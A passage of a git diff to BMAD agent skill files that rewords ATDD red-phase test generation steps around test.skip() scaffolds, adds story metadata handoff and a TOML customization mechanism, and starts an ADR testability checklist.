 
 ## STEP GOAL
 
-Select execution mode deterministically, then generate FAILING API and E2E tests (TDD RED PHASE) with consistent output contracts across agent-team, subagent, or sequential execution.
+Select execution mode deterministically, then generate red-phase API and E2E test scaffolds (TDD RED PHASE) with consistent output contracts across agent-team, subagent, or sequential execution.
 
 ## MANDATORY EXECUTION RULES
 
@@ -16,10 +16,10 @@ Select execution mode deterministically, then generate FAILING API and E2E tests
 - ✅ Speak in `{communication_language}`
 - ✅ Resolve execution mode from config (`tea_execution_mode`, `tea_capability_probe`)
 - ✅ Apply fallback rules deterministically when requested mode is unsupported
-- ✅ Generate FAILING tests only (TDD red phase)
+- ✅ Generate red-phase test scaffolds only (TDD red phase)
 - ✅ Wait for required worker steps to complete
 - ❌ Do NOT skip capability checks when probing is enabled
-- ❌ Do NOT generate passing tests (this is red phase)
+- ❌ Do NOT generate active passing tests (this is red phase)
 - ❌ Do NOT proceed until required worker steps finish
 
 ---
@@ -162,7 +162,7 @@ If probing is disabled, honor the requested mode strictly. If that mode cannot b
 
 ---
 
-### 3. Dispatch Worker A: Failing API Test Generation
+### 3. Dispatch Worker A: Red-Phase API Test Generation
 
 **Dispatch worker:**
 
@@ -172,21 +172,21 @@ If probing is disabled, honor the requested mode strictly. If that mode cannot b
 - **Execution:**
   - `agent-team` or `subagent`: launch non-blocking
   - `sequential`: run blocking and wait before next dispatch
-- **TDD Phase:** RED (failing tests)
+- **TDD Phase:** RED (scaffold tests with `test.skip()`)
 
 **System Action:**
 
 ```
-🚀 Launching Subagent A: FAILING API Test Generation (RED PHASE)
+🚀 Launching Subagent A: RED-PHASE API Test Generation
 📝 Output: /tmp/tea-atdd-api-tests-${timestamp}.json
 ⚙️ Mode: ${resolvedMode}
-🔴 TDD Phase: RED (tests will fail until feature implemented)
+🔴 TDD Phase: RED (tests emitted as `test.skip()` scaffolds)
 ⏳ Status: Running...
 ```
 
 ---
 
-### 4. Dispatch Worker B: Failing E2E Test Generation
+### 4. Dispatch Worker B: Red-Phase E2E Test Generation
 
 **Dispatch worker:**
 
@@ -196,15 +196,15 @@ If probing is disabled, honor the requested mode strictly. If that mode cannot b
 - **Execution:**
   - `agent-team` or `subagent`: launch non-blocking
   - `sequential`: run blocking and wait before next dispatch
-- **TDD Phase:** RED (failing tests)
+- **TDD Phase:** RED (scaffold tests with `test.skip()`)
 
 **System Action:**
 
 ```
-🚀 Launching Subagent B: FAILING E2E Test Generation (RED PHASE)
+🚀 Launching Subagent B: RED-PHASE E2E Test Generation
 📝 Output: /tmp/tea-atdd-e2e-tests-${timestamp}.json
 ⚙️ Mode: ${resolvedMode}
-🔴 TDD Phase: RED (tests will fail until feature implemented)
+🔴 TDD Phase: RED (tests emitted as `test.skip()` scaffolds)
 ⏳ Status: Running...
 ```
 
@@ -251,14 +251,15 @@ if (!apiOutputExists || !e2eOutputExists) {
 **Display TDD status:**
 
 ```
-🔴 TDD RED PHASE: Failing Tests Generated
+🔴 TDD RED PHASE: Test Scaffolds Generated
 
 ✅ Both subagents completed:
 - API Tests: Generated with test.skip()
 - E2E Tests: Generated with test.skip()
 
 📋 All tests assert EXPECTED behavior
-📋 All tests will FAIL until feature implemented
+📋 Activated tests will FAIL until feature is implemented
+📋 Scaffolds stay skipped until a developer activates the current task
 📋 This is INTENTIONAL (TDD red phase)
 
 Next: Aggregation will verify TDD compliance
@@ -300,8 +301,8 @@ The aggregation step (4C) will:
 
 Proceed to Step 4C (Aggregation) when:
 
-- ✅ Subagent A (API failing tests) completed successfully
-- ✅ Subagent B (E2E failing tests) completed successfully
+- ✅ Subagent A (API red-phase tests) completed successfully
+- ✅ Subagent B (E2E red-phase tests) completed successfully
 - ✅ Both output files exist and are valid JSON
 - ✅ TDD red phase status reported
 
@@ -309,7 +310,7 @@ Proceed to Step 4C (Aggregation) when:
 
 - ❌ One or both subagents failed
 - ❌ Output files missing or corrupted
-- ❌ Subagent generated passing tests (wrong - must be failing)
+- ❌ Subagent generated active passing tests (wrong - must be red-phase scaffolds)
 
 ---
 
@@ -331,4 +332,4 @@ Proceed to Step 4C (Aggregation) when:
 - Tests generated without test.skip() (wrong phase)
 - Unsupported requested mode with probing disabled
 
-**Master Rule:** TDD RED PHASE requires FAILING tests (with test.skip()). Mode selection changes orchestration, never red-phase requirements.
+**Master Rule:** TDD RED PHASE requires acceptance test scaffolds marked with `test.skip()`. Mode selection changes orchestration, never red-phase requirements.
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-04a-subagent-api-failing.md b/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-04a-subagent-api-failing.md
index da0a266..8014c87 100644
--- a/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-04a-subagent-api-failing.md
+++ b/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-04a-subagent-api-failing.md
@@ -1,15 +1,15 @@
 ---
 name: 'step-04a-subagent-api-failing'
-description: 'Subagent: Generate FAILING API tests (TDD red phase)'
+description: 'Subagent: Generate red-phase API test scaffolds (TDD red phase)'
 subagent: true
 outputFile: '/tmp/tea-atdd-api-tests-{{timestamp}}.json'
 ---
 
-# Subagent 4A: Generate Failing API Tests (TDD Red Phase)
+# Subagent 4A: Generate Red-Phase API Test Scaffolds (TDD Red Phase)
 
 ## SUBAGENT CONTEXT
 
-This is an **isolated subagent** running in parallel with E2E failing test generation.
+This is an **isolated subagent** running in parallel with E2E red-phase test generation.
 
 **What you have from parent workflow:**
 
@@ -21,19 +21,19 @@ This is an **isolated subagent** running in parallel with E2E failing test gener
 
 **If `use_pactjs_utils` is enabled:** Also generate consumer contract tests alongside API tests. Use the loaded pactjs-utils fragments (`pactjs-utils-overview`, `pactjs-utils-consumer-helpers`, `pactjs-utils-provider-verifier`, `pactjs-utils-request-filter`, `pact-consumer-di`) for patterns. If `pact_mcp` is `"mcp"`, use SmartBear MCP tools (Fetch Provider States, Generate Pact Tests) to inform test generation.
 
-**Your task:** Generate API tests that will FAIL because the feature is not implemented yet (TDD RED PHASE).
+**Your task:** Generate API test scaffolds for the feature's expected behavior. They stay in `test.skip()` until the developer activates them for the current task (TDD RED PHASE).
 
 ---
 
 ## MANDATORY EXECUTION RULES
 
 - 📖 Read this entire subagent file before acting
-- ✅ Generate FAILING API tests ONLY
-- ✅ Tests MUST fail when run (feature not implemented yet)
+- ✅ Generate red-phase API test scaffolds ONLY
+- ✅ Tests MUST be emitted with `test.skip()` until the developer activates them
 - ✅ Output structured JSON to temp file
 - ✅ Follow knowledge fragment patterns
 - ❌ Do NOT generate E2E tests (that's subagent 4B)
-- ❌ Do NOT generate passing tests (this is TDD red phase)
+- ❌ Do NOT generate active passing tests (this is TDD red phase)
 - ❌ Do NOT run tests (that's step 5)
 
 ---
@@ -59,7 +59,7 @@ Story: User Registration
 - System returns 422 Unprocessable Entity if validation fails
 ```
 
-### 2. Generate FAILING API Test Files
+### 2. Generate Red-Phase API Test Files
 
 For each API endpoint, create test file in `tests/api/[feature].spec.ts`:
 
@@ -108,7 +108,7 @@ test.describe('[Story Name] API Tests (ATDD)', () => {
 
 **CRITICAL ATDD Requirements:**
 
-- ✅ Use `test.skip()` to mark tests as intentionally failing (red phase)
+- ✅ Use `test.skip()` to mark tests as red-phase scaffolds
 - ✅ Write assertions for EXPECTED behavior (even though not implemented)
 - ✅ Use realistic test data (not placeholder data)
 - ✅ Test both happy path and error scenarios from acceptance criteria
@@ -213,7 +213,7 @@ Write JSON to temp file: `/tmp/tea-atdd-api-tests-{{timestamp}}.json`
     {
       "file": "tests/api/user-registration.spec.ts",
       "content": "[full TypeScript test file content with test.skip()]",
-      "description": "ATDD API tests for user registration (RED PHASE)",
+      "description": "ATDD API test scaffolds for user registration (RED PHASE)",
       "expected_to_fail": true,
       "acceptance_criteria_covered": [
         "User can register with email/password",
@@ -239,7 +239,7 @@ Write JSON to temp file: `/tmp/tea-atdd-api-tests-{{timestamp}}.json`
   "test_count": 3,
   "tdd_phase": "RED",
   "provider_scrutiny": "completed",
-  "summary": "Generated 3 FAILING API tests for user registration story"
+  "summary": "Generated 3 red-phase API test scaffolds for user registration story"
 }
 ```
 
@@ -263,7 +263,7 @@ Write JSON to temp file: `/tmp/tea-atdd-api-tests-{{timestamp}}.json`
 Subagent completes when:
 
 - ✅ All API endpoints from acceptance criteria have test files
-- ✅ All tests use `test.skip()` (documented failing tests)
+- ✅ All tests use `test.skip()` (documented red-phase scaffolds)
 - ✅ All tests assert EXPECTED behavior (not placeholder assertions)
 - ✅ JSON output written to temp file
 - ✅ Fixture needs to be tracked
@@ -286,7 +286,7 @@ Subagent completes when:
 
 ### ❌ FAILURE:
 
-- Generated passing tests (wrong - this is RED phase)
+- Generated active passing tests (wrong - this is RED phase)
 - Tests without test.skip() (will break CI)
 - Placeholder assertions (expect(true).toBe(true))
 - Did not follow knowledge fragment patterns
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-04b-subagent-e2e-failing.md b/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-04b-subagent-e2e-failing.md
index 71e148d..708ccc0 100644
--- a/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-04b-subagent-e2e-failing.md
+++ b/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-04b-subagent-e2e-failing.md
@@ -1,15 +1,15 @@
 ---
 name: 'step-04b-subagent-e2e-failing'
-description: 'Subagent: Generate FAILING E2E tests (TDD red phase)'
+description: 'Subagent: Generate red-phase E2E test scaffolds (TDD red phase)'
 subagent: true
 outputFile: '/tmp/tea-atdd-e2e-tests-{{timestamp}}.json'
 ---
 
-# Subagent 4B: Generate Failing E2E Tests (TDD Red Phase)
+# Subagent 4B: Generate Red-Phase E2E Test Scaffolds (TDD Red Phase)
 
 ## SUBAGENT CONTEXT
 
-This is an **isolated subagent** running in parallel with API failing test generation.
+This is an **isolated subagent** running in parallel with API red-phase test generation.
 
 **What you have from parent workflow:**
 
@@ -18,19 +18,19 @@ This is an **isolated subagent** running in parallel with API failing test gener
 - Knowledge fragments loaded: fixture-architecture, network-first, selector-resilience
 - Config: test framework, Playwright Utils enabled/disabled
 
-**Your task:** Generate E2E tests that will FAIL because the feature UI is not implemented yet (TDD RED PHASE).
+**Your task:** Generate E2E test scaffolds for the feature's expected UI behavior. They stay in `test.skip()` until the developer activates them for the current task (TDD RED PHASE).
 
 ---
 
 ## MANDATORY EXECUTION RULES
 
 - 📖 Read this entire subagent file before acting
-- ✅ Generate FAILING E2E tests ONLY
-- ✅ Tests MUST fail when run (UI not implemented yet)
+- ✅ Generate red-phase E2E test scaffolds ONLY
+- ✅ Tests MUST be emitted with `test.skip()` until the developer activates them
 - ✅ Output structured JSON to temp file
 - ✅ Follow knowledge fragment patterns
 - ❌ Do NOT generate API tests (that's subagent 4A)
-- ❌ Do NOT generate passing tests (this is TDD red phase)
+- ❌ Do NOT generate active passing tests (this is TDD red phase)
 - ❌ Do NOT run tests (that's step 5)
 
 ---
@@ -89,7 +89,7 @@ If `none`:
 
 - Generate selectors from best practices without browser verification
 
-### 3. Generate FAILING E2E Test Files
+### 3. Generate Red-Phase E2E Test Files
 
 For each user journey, create test file in `tests/e2e/[feature].spec.ts`:
 
@@ -129,7 +129,7 @@ test.describe('[Story Name] E2E User Journey (ATDD)', () => {
 
 **CRITICAL ATDD Requirements:**
 
-- ✅ Use `test.skip()` to mark tests as intentionally failing (red phase)
+- ✅ Use `test.skip()` to mark tests as red-phase scaffolds
 - ✅ Write assertions for EXPECTED UI behavior (even though not implemented)
 - ✅ Use resilient selectors: getByRole, getByText, getByLabel (from selector-resilience)
 - ✅ Follow network-first patterns if API calls involved (from network-first)
@@ -169,7 +169,7 @@ Write JSON to temp file: `/tmp/tea-atdd-e2e-tests-{{timestamp}}.json`
     {
       "file": "tests/e2e/user-registration.spec.ts",
       "content": "[full TypeScript test file content with test.skip()]",
-      "description": "ATDD E2E tests for user registration journey (RED PHASE)",
+      "description": "ATDD E2E test scaffolds for user registration journey (RED PHASE)",
       "expected_to_fail": true,
       "acceptance_criteria_covered": [
         "User can navigate to /register",
@@ -189,7 +189,7 @@ Write JSON to temp file: `/tmp/tea-atdd-e2e-tests-{{timestamp}}.json`
   "knowledge_fragments_used": ["fixture-architecture", "network-first", "selector-resilience"],
   "test_count": 2,
   "tdd_phase": "RED",
-  "summary": "Generated 2 FAILING E2E tests for user registration story"
+  "summary": "Generated 2 red-phase E2E test scaffolds for user registration story"
 }
 ```
 
@@ -213,7 +213,7 @@ Write JSON to temp file: `/tmp/tea-atdd-e2e-tests-{{timestamp}}.json`
 Subagent completes when:
 
 - ✅ All user journeys from acceptance criteria have test files
-- ✅ All tests use `test.skip()` (documented failing tests)
+- ✅ All tests use `test.skip()` (documented red-phase scaffolds)
 - ✅ All tests assert EXPECTED UI behavior (not placeholder assertions)
 - ✅ Resilient selectors used (getByRole, getByText)
 - ✅ JSON output written to temp file
@@ -236,7 +236,7 @@ Subagent completes when:
 
 ### ❌ FAILURE:
 
-- Generated passing tests (wrong - this is RED phase)
+- Generated active passing tests (wrong - this is RED phase)
 - Tests without test.skip() (will break CI)
 - Placeholder assertions (expect(true).toBe(true))
 - Brittle selectors used (CSS classes, XPath)
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-04c-aggregate.md b/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-04c-aggregate.md
index 6e27c1d..ef6e40e 100644
--- a/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-04c-aggregate.md
+++ b/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-04c-aggregate.md
@@ -1,7 +1,7 @@
 ---
 name: 'step-04c-aggregate'
 description: 'Aggregate subagent outputs and complete ATDD test infrastructure'
-outputFile: '{test_artifacts}/atdd-checklist-{story_id}.md'
+outputFile: '{test_artifacts}/atdd-checklist-{story_key}.md'
 nextStepFile: './step-05-validate-and-complete.md'
 ---
 
@@ -9,7 +9,7 @@ nextStepFile: './step-05-validate-and-complete.md'
 
 ## STEP GOAL
 
-Read outputs from parallel subagents (API + E2E failing test generation), aggregate results, verify TDD red phase compliance, and create supporting infrastructure.
+Read outputs from parallel subagents (API + E2E red-phase test generation), aggregate results, verify TDD red phase compliance, and create supporting infrastructure.
 
 ---
 
@@ -22,7 +22,7 @@ Read outputs from parallel subagents (API + E2E failing test generation), aggreg
 - ✅ Generate shared fixtures based on fixture needs
 - ✅ Write all generated test files to disk
 - ❌ Do NOT remove test.skip() (that's done after feature implementation)
-- ❌ Do NOT run tests yet (that's step 5 - verify they fail)
+- ❌ Do NOT run tests yet (that's step 5 - verify scaffolds and optional RED activation)
 
 ---
 
@@ -187,7 +187,7 @@ Note: More complete fixtures will be needed when moving to green phase.
 
 ## TDD Red Phase (Current)
 
-✅ Failing tests generated
+✅ Red-phase test scaffolds generated
 
 - API Tests: {api_test_count} tests (all skipped)
 - E2E Tests: {e2e_test_count} tests (all skipped)
@@ -196,14 +196,14 @@ Note: More complete fixtures will be needed when moving to green phase.
 
 {list all acceptance criteria with test coverage}
 
-## Next Steps (TDD Green Phase)
+## Next Steps (Task-by-Task Activation)
 
-After implementing the feature:
+During implementation of each task:
 
-1. Remove `test.skip()` from all test files
+1. Remove `test.skip()` from the current test file or scenario
 2. Run tests: `npm test`
-3. Verify tests PASS (green phase)
-4. If any tests fail:
+3. Verify the activated test fails first, then passes after implementation (green phase)
+4. If any activated tests still fail unexpectedly:
    - Either fix implementation (feature bug)
    - Or fix test (test bug)
 5. Commit passing tests
@@ -220,9 +220,21 @@ UI components to implement:
 **Save checklist:**
 
 ```javascript
-fs.writeFileSync(`{test_artifacts}/atdd-checklist-{story-id}.md`, checklistContent, 'utf8');
+fs.writeFileSync(`{test_artifacts}/atdd-checklist-{story_key}.md`, checklistContent, 'utf8');
 ```
 
+**If `{story_file}` exists and is writable, attempt to link artifacts back into the story:**
+
+- Add or update a `### ATDD Artifacts` subsection under `## Dev Notes`
+- Record:
+  - `Checklist: {test_artifacts}/atdd-checklist-{story_key}.md`
+  - `API tests: {api_test_file_path}` when present
+  - `E2E tests: {e2e_test_file_path}` when present
+  - `Component tests: {component_test_file_path}` when present
+- Preserve all other story content verbatim
+- The checklist template already contains the manual handoff instructions if story linking is not possible
+- If the story file cannot be updated safely, continue without failing the workflow and keep the checklist's manual handoff instructions intact
+
 ---
 
 ### 7. Calculate Summary Statistics
@@ -279,14 +291,14 @@ Display to user:
 ```
 ✅ ATDD Test Generation Complete (TDD RED PHASE)
 
-🔴 TDD Red Phase: Failing Tests Generated
+🔴 TDD Red Phase: Test Scaffolds Generated
 
 📊 Summary:
 - Total Tests: {total_tests} (all with test.skip())
   - API Tests: {api_tests} (RED)
   - E2E Tests: {e2e_tests} (RED)
 - Fixtures Created: {fixtures_created}
-- All tests will FAIL until feature implemented
+- Activated tests will FAIL until feature is implemented
 
 ✅ Acceptance Criteria Coverage:
 {list all covered criteria}
@@ -297,15 +309,16 @@ Display to user:
 - tests/api/[feature].spec.ts (with test.skip())
 - tests/e2e/[feature].spec.ts (with test.skip())
 - tests/fixtures/test-data.ts
-- {test_artifacts}/atdd-checklist-{story-id}.md
+- {test_artifacts}/atdd-checklist-{story_key}.md
 
 📝 Next Steps:
-1. Implement the feature
-2. Remove test.skip() from tests
-3. Run tests → verify PASS (green phase)
-4. Commit passing tests
+1. Link ATDD artifacts into the story file if available
+2. Implement the feature
+3. Remove test.skip() from the tests for the current task
+4. Run activated tests → verify they FAIL before implementation, then PASS after implementation
+5. Commit passing tests
 
-✅ Ready for validation (Step 5 - verify tests fail as expected)
+✅ Ready for validation (Step 5 - verify red-phase scaffolds and handoff metadata)
 ```
 
 ---
@@ -334,6 +347,11 @@ Proceed to Step 5 when:
   stepsCompleted: ['step-04c-aggregate']
   lastStep: 'step-04c-aggregate'
   lastSaved: '{date}'
+  storyId: '{story_id}'
+  storyKey: '{story_key}'
+  storyFile: '{story_file}'
+  atddChecklistPath: '{outputFile}'
+  generatedTestFiles: []
   ---
   ```
 
@@ -343,6 +361,11 @@ Proceed to Step 5 when:
   - Add `'step-04c-aggregate'` to `stepsCompleted` array (only if not already present)
   - Set `lastStep: 'step-04c-aggregate'`
   - Set `lastSaved: '{date}'`
+  - Set `storyId` to `{story_id}`
+  - Set `storyKey` to `{story_key}`
+  - Set `storyFile` to `{story_file}`
+  - Set `atddChecklistPath` to `{outputFile}`
+  - Set `generatedTestFiles` deterministically to the list of present test paths in this order: API, E2E, Component (omit blanks / N/A values)
   - Append this step's output to the appropriate section.
 
 Load next step: `{nextStepFile}`
@@ -358,6 +381,7 @@ Load next step: `{nextStepFile}`
 - All tests assert expected behavior (not placeholders)
 - All test files written to disk
 - ATDD checklist generated
+- Story metadata and handoff paths captured in checklist frontmatter
 
 ### ❌ SYSTEM FAILURE:
 
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-05-validate-and-complete.md b/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-05-validate-and-complete.md
index fa0a176..8ce2c69 100644
--- a/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-05-validate-and-complete.md
+++ b/plugins/bmad/skills/bmad-testarch-atdd/steps-c/step-05-validate-and-complete.md
@@ -1,7 +1,7 @@
 ---
 name: 'step-05-validate-and-complete'
 description: 'Validate ATDD outputs and summarize'
-outputFile: '{test_artifacts}/atdd-checklist-{story_id}.md'
+outputFile: '{test_artifacts}/atdd-checklist-{story_key}.md'
 ---
 
 # Step 5: Validate & Complete
@@ -42,7 +42,8 @@ Use `checklist.md` to validate:
 - Prerequisites satisfied
 - Test files created correctly
 - Checklist matches acceptance criteria
-- Tests are designed to fail before implementation
+- Tests are generated as red-phase scaffolds and marked with `test.skip()`
+- Story metadata and handoff paths are captured for downstream workflows
 - [ ] CLI sessions cleaned up (no orphaned browsers)
 - [ ] Temp artifacts stored in `{test_artifacts}/` not random locations
 
@@ -67,8 +68,9 @@ Report:
 
 - Test files created
 - Checklist output path
+- Story key / story file handoff path
 - Key risks or assumptions
-- Next recommended workflow (e.g., implementation or `automate`)
+- Next recommended workflow (usually `dev-story`; `automate` comes after implementation)
 
 ---
 
@@ -83,6 +85,11 @@ Report:
   stepsCompleted: ['step-05-validate-and-complete']
   lastStep: 'step-05-validate-and-complete'
   lastSaved: '{date}'
+  storyId: '{story_id}'
+  storyKey: '{story_key}'
+  storyFile: '{story_file}'
+  atddChecklistPath: '{outputFile}'
+  generatedTestFiles: []
   ---
   ```
 
@@ -92,6 +99,8 @@ Report:
   - Add `'step-05-validate-and-complete'` to `stepsCompleted` array (only if not already present)
   - Set `lastStep: 'step-05-validate-and-complete'`
   - Set `lastSaved: '{date}'`
+  - Ensure `storyId`, `storyKey`, `storyFile`, and `atddChecklistPath` are present and populated
+  - Ensure `generatedTestFiles` remains populated with the deterministic list of present generated test paths
   - Append this step's output to the appropriate section.
 
 ## 🚨 SYSTEM SUCCESS/FAILURE METRICS:
diff --git a/plugins/bmad/skills/bmad-testarch-automate/SKILL.md b/plugins/bmad/skills/bmad-testarch-automate/SKILL.md
index 4044a89..62401d7 100644
--- a/plugins/bmad/skills/bmad-testarch-automate/SKILL.md
+++ b/plugins/bmad/skills/bmad-testarch-automate/SKILL.md
@@ -3,4 +3,24 @@ name: bmad-testarch-automate
 description: 'Expand test automation coverage for codebase. Use when user says "lets expand test coverage" or "I want to automate tests"'
 ---
 
+## Available Scripts
+
+- **`scripts/resolve-customization.py`** -- Resolves customization from three-layer TOML merge (user > team > defaults). Outputs JSON.
+
+## Resolve Customization
+
+Resolve `inject` and `additional_resources` from customization:
+Run: `python3 scripts/resolve-customization.py bmad-testarch-automate --key inject --key additional_resources`
+Use the JSON output as resolved values.
+
+1. **Inject before** -- If `inject.before` resolved to a non-empty value, prepend it to your active instructions and follow it.
+2. **Available resources** -- Note the `additional_resources` list. Do not read these files now; they are available for the injected prompt or workflow steps to reference when needed.
+
 Follow the instructions in [workflow.md](workflow.md).
+
+## Post-Workflow Customization
+
+After the workflow completes, resolve `inject.after` from customization:
+Run: `python3 scripts/resolve-customization.py bmad-testarch-automate --key inject.after`
+
+If resolved `inject.after` is not empty, append it to your active instructions and follow it.
diff --git a/plugins/bmad/skills/bmad-testarch-automate/customize.toml b/plugins/bmad/skills/bmad-testarch-automate/customize.toml
new file mode 100644
index 0000000..5860d4a
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/customize.toml
@@ -0,0 +1,27 @@
+# ──────────────────────────────────────────────────────────────────
+# Customization Defaults: bmad-testarch-automate
+# This file defines all customizable fields for this skill.
+# DO NOT EDIT THIS FILE -- it is overwritten on every update.
+#
+# HOW TO CUSTOMIZE:
+# 1. Create an override file with only the fields you want to change:
+#      _bmad/customizations/bmad-testarch-automate.toml       (team/org, committed to git)
+#      _bmad/customizations/bmad-testarch-automate.user.toml   (personal, gitignored)
+# 2. Copy just the fields you want to override into your file.
+#    Unmentioned fields inherit from this defaults file.
+# 3. For array fields (like additional_resources), include the
+#    complete array you want -- arrays replace, not append.
+# ──────────────────────────────────────────────────────────────────
+
+# Additional resource files loaded into workflow context on activation.
+# Paths are relative to {project-root}.
+additional_resources = []
+
+# ──────────────────────────────────────────────────────────────────
+# Injected prompts - content woven into the workflow's context.
+# 'before' loads before the workflow begins.
+# 'after' loads after the workflow completes (pre-finalize).
+# ──────────────────────────────────────────────────────────────────
+[inject]
+before = ""
+after = ""
diff --git a/plugins/bmad/skills/bmad-testarch-automate/instructions.md b/plugins/bmad/skills/bmad-testarch-automate/instructions.md
index eb5b1b2..a7d2dfd 100644
--- a/plugins/bmad/skills/bmad-testarch-automate/instructions.md
+++ b/plugins/bmad/skills/bmad-testarch-automate/instructions.md
@@ -2,7 +2,6 @@
 
 # Test Automation Expansion
 
-**Workflow ID**: `_bmad/tea/testarch/bmad-testarch-automate`
 **Version**: 5.0 (Step-File Architecture)
 
 ---
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/adr-quality-readiness-checklist.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/adr-quality-readiness-checklist.md
new file mode 100644
index 0000000..d6b5783
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/adr-quality-readiness-checklist.md
@@ -0,0 +1,377 @@
+# ADR Quality Readiness Checklist
+
+**Purpose:** Standardized 8-category, 29-criteria framework for evaluating system testability and NFR compliance during architecture review (Phase 3) and NFR assessment.
+
+**When to Use:**
+
+- System-level test design (Phase 3): Identify testability gaps in architecture
+- NFR assessment workflow: Structured evaluation with evidence
+- Gate decisions: Quantifiable criteria (X/29 met = PASS/CONCERNS/FAIL)
+
+**How to Use:**
+
+1. For each criterion, assess status: ✅ Covered / ⚠️ Gap / ⬜ Not Assessed
+2. Document gap description if ⚠️
+3. Describe risk if criterion unmet
+4. Map to test scenarios (what tests validate this criterion)
+
+---
+
+## 1. Testability & Automation
+
+**Question:** Can we verify this effectively without manual toil?
+
+| #   | Criterion                                                                                                                                  | Risk if Unmet                                  | Typical Test Scenarios (P0-P2)                                                                          |
+| --- | ------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------- | ------------------------------------------------------------------------------------------------------- |
+| 1.1 | **Isolation:** Can the service be tested with all downstream dependencies (DBs, APIs, Queues) mocked or stubbed?                           | Flaky tests; inability to test in isolation    | P1: Service runs with mocked DB, P1: Service runs with mocked API, P2: Integration tests with real deps |
+| 1.2 | **Headless Interaction:** Is 100% of the business logic accessible via API (REST/gRPC) to bypass the UI for testing?                       | Slow, brittle UI-based automation              | P0: All core logic callable via API, P1: No UI dependency for critical paths                            |
+| 1.3 | **State Control:** Do we have "Seeding APIs" or scripts to inject specific data states (e.g., "User with expired subscription") instantly? | Long setup times; inability to test edge cases | P0: Seed baseline data, P0: Inject edge case data states, P1: Cleanup after tests                       |
+| 1.4 | **Sample Requests:** Are there valid and invalid cURL/JSON sample requests provided in the design doc for QA to build upon?                | Ambiguity on how to consume the service        | P1: Valid request succeeds, P1: Invalid request fails with clear error                                  |
+
+**Common Gaps:**
+
+- No mock endpoints for external services (Athena, Milvus, third-party APIs)
+- Business logic tightly coupled to UI (requires E2E tests for everything)
+- No seeding APIs (manual database setup required)
+- ADR has architecture diagrams but no sample API requests
+
+**Mitigation Examples:**
+
+- 1.1 (Isolation): Provide mock endpoints, dependency injection, interface abstractions
+- 1.2 (Headless): Expose all business logic via REST/GraphQL APIs
+- 1.3 (State Control): Implement `/api/test-data` seeding endpoints (dev/staging only)
+- 1.4 (Sample Requests): Add "Example API Calls" section to ADR with cURL commands
+
+---
+
+## 2. Test Data Strategy
+
+**Question:** How do we fuel our tests safely?
+
+| #   | Criterion                                                                                                                             | Risk if Unmet                                | Typical Test Scenarios (P0-P2)                                                                 |
+| --- | ------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------- | ---------------------------------------------------------------------------------------------- |
+| 2.1 | **Segregation:** Does the design support multi-tenancy or specific headers (e.g., x-test-user) to keep test data out of prod metrics? | Skewed business analytics; data pollution    | P0: Multi-tenant isolation (customer A ≠ customer B), P1: Test data excluded from prod metrics |
+| 2.2 | **Generation:** Can we use synthetic data, or do we rely on scrubbing production data (GDPR/PII risk)?                                | Privacy violations; dependency on stale data | P0: Faker-based synthetic data, P1: No production data in tests                                |
+| 2.3 | **Teardown:** Is there a mechanism to "reset" the environment or clean up data after destructive tests?                               | Environment rot; subsequent test failures    | P0: Automated cleanup after tests, P2: Environment reset script                                |
+
+**Common Gaps:**
+
+- No `customer_id` scoping in queries (cross-tenant data leakage risk)
+- Reliance on production data dumps (GDPR/PII violations)
+- No cleanup mechanism (tests leave data behind, polluting environment)
+
+**Mitigation Examples:**
+
+- 2.1 (Segregation): Enforce `customer_id` in all queries, add test-specific headers
+- 2.2 (Generation): Use Faker library, create synthetic data generators, prohibit prod dumps
+- 2.3 (Teardown): Auto-cleanup hooks in test framework, isolated test customer IDs
+
+---
+
+## 3. Scalability & Availability
+
+**Question:** Can it grow, and will it stay up?
+
+| #   | Criterion                                                                                                                   | Risk if Unmet                                     | Typical Test Scenarios (P0-P2)                                                                       |
+| --- | --------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- | ---------------------------------------------------------------------------------------------------- |
+| 3.1 | **Statelessness:** Is the service stateless? If not, how is session state replicated across instances?                      | Inability to auto-scale horizontally              | P1: Service restart mid-request → no data loss, P2: Horizontal scaling under load                    |
+| 3.2 | **Bottlenecks:** Have we identified the weakest link (e.g., database connections, API rate limits) under load?              | System crash during peak traffic                  | P2: Load test identifies bottleneck, P2: Connection pool exhaustion handled                          |
+| 3.3 | **SLA Definitions:** What is the target Availability (e.g., 99.9%) and does the architecture support redundancy to meet it? | Breach of contract; customer churn                | P1: Availability target defined, P2: Redundancy validated (multi-region/zone)                        |
+| 3.4 | **Circuit Breakers:** If a dependency fails, does this service fail fast or hang?                                           | Cascading failures taking down the whole platform | P1: Circuit breaker opens on 5 failures, P1: Auto-reset after recovery, P2: Timeout prevents hanging |
+
+**Common Gaps:**
+
+- Stateful session management (can't scale horizontally)
+- No load testing, bottlenecks unknown
+- SLA undefined or unrealistic (99.99% without redundancy)
+- No circuit breakers (cascading failures)
+
+**Mitigation Examples:**
+
+- 3.1 (Statelessness): Externalize session to Redis/JWT, design for horizontal scaling
+- 3.2 (Bottlenecks): Load test with k6, monitor connection pools, identify weak links
+- 3.3 (SLA): Define realistic SLA (99.9% = 43 min/month downtime), add redundancy
+- 3.4 (Circuit Breakers): Implement circuit breakers (Hystrix pattern), fail fast on errors
+
+---
+
+## 4. Disaster Recovery (DR)
+
+**Question:** What happens when the worst-case scenario occurs?
+
+| #   | Criterion                                                                                                            | Risk if Unmet                                  | Typical Test Scenarios (P0-P2)                                          |
